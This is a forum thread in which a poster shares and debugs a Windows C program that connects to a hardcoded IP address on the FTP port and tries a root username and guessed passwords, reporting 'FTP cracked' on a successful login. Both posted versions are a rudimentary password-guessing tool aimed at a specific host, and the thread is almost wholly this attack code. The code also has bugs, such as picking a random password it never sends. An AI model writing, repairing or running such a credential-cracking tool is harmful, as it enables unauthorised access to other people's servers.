-
i dunno if this work or not but i dont think it did because i think recv only recives 1 line at time ?
or it recives till size of the buff?
Code:
#include "inc.h"
void validator(char *question,char *NOTE)
{
MessageBox(NULL,question,NOTE,MB_OK);
}
void list_counter(int *listsize)
{
*listsize=(sizeof (USERandPW) /sizeof ( char * ));
}
void ftp_connector()
{
const char *Site="64.89.23.139";
char Okay[]="we are in now we preforming the function";
char note[]="IRC OKAY";
char badan[]="Function failed";
char buff[100];
WORD sockversion;//WORD is same as unsigned char 2 byes long
WSADATA wsadata;
SOCKET FTP_cnt;//we use this socket to pass in information
SOCKADDR_IN server_info;
int list_size;
char *pw;
char loged[]="User logged in";
sockversion=MAKEWORD(2,2);//we would like to use winsock ver 2.2
/*we BEGIN INTILIZING WINSOCK*/
WSAStartup(sockversion,&wsadata);
FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(FTP_cnt==INVALID_SOCKET)
{
MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
exit(0);
}
// Use a SOCKADDR_IN struct to fill in address information
server_info.sin_family = AF_INET;
server_info.sin_addr.s_addr=inet_addr(Site);
server_info.sin_port=htons(21);
list_counter(&list_size);
pw=USERandPW[rand() % list_size];
if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
{
send(FTP_cnt,pw,strlen(pw),0);
recv(FTP_cnt,buff,sizeof buff,0);
if(strcmp(buff,"230")==0)
{
MessageBox(NULL,pw,"FTP cracked",MB_OK);
closesocket(FTP_cnt);
WSACleanup();
}
else
{
MessageBox(NULL,"pw wrong","Not in",MB_OK);
closesocket(FTP_cnt);
WSACleanup();
}
Sleep(Bigsleep);
MessageBox(NULL,"We are out","OUTING",MB_OK);
WSACleanup();
}
else
{
validator(badan,badan);
WSACleanup();
}
}
int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
{
srand(GetTickCount());
ftp_connector();
WSACleanup();
}
-
i fixed it thanks guys for help
Code:
#include "inc.h"
void validator(char *question,char *NOTE)
{
MessageBox(NULL,question,NOTE,MB_OK);
}
void list_counter(int *listsize)
{
*listsize=(sizeof (USERandPW) /sizeof ( char * ));
}
void ftp_connector()
{
const char *Site="64.89.23.139";
char Okay[]="we are in now we preforming the function";
char note[]="IRC OKAY";
char badan[]="Function failed";
char buff[300];
WORD sockversion;//WORD is same as unsigned char 2 byes long
WSADATA wsadata;
SOCKET FTP_cnt;//we use this socket to pass in information
SOCKADDR_IN server_info;
int list_size;
char *pw;
char loged[]="User logged in";
char *uer="USER root\r\n";
char *pwss="PASS 0249\r\n";
int x;
sockversion=MAKEWORD(2,2);//we would like to use winsock ver 2.2
/*we BEGIN INTILIZING WINSOCK*/
WSAStartup(sockversion,&wsadata);
FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(FTP_cnt==INVALID_SOCKET)
{
MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
exit(0);
}
// Use a SOCKADDR_IN struct to fill in address information
server_info.sin_family = AF_INET;
server_info.sin_addr.s_addr=inet_addr(Site);
server_info.sin_port=htons(21);
list_counter(&list_size);
pw=USERandPW[rand() % list_size];
if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
{
x=recv(FTP_cnt,buff,sizeof buff,0);
send(FTP_cnt,uer,strlen(uer),0);
x=recv(FTP_cnt,buff,sizeof buff,0);
send(FTP_cnt,pwss,strlen(pwss),0);
x=recv(FTP_cnt,buff,sizeof buff,0);
if(strstr (buff,"230"))
{
MessageBox(NULL,pw,"FTP cracked",MB_OK);
closesocket(FTP_cnt);
WSACleanup();
}
else
{
MessageBox(NULL,"pw wrong","Not in",MB_OK);
closesocket(FTP_cnt);
WSACleanup();
}
Sleep(Bigsleep);
MessageBox(NULL,"We are out","OUTING",MB_OK);
WSACleanup();
}
else
{
validator(badan,badan);
WSACleanup();
}
}
int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
{
srand(GetTickCount());
ftp_connector();
WSACleanup();
}
-
it didnt work though with strcmp i dunno why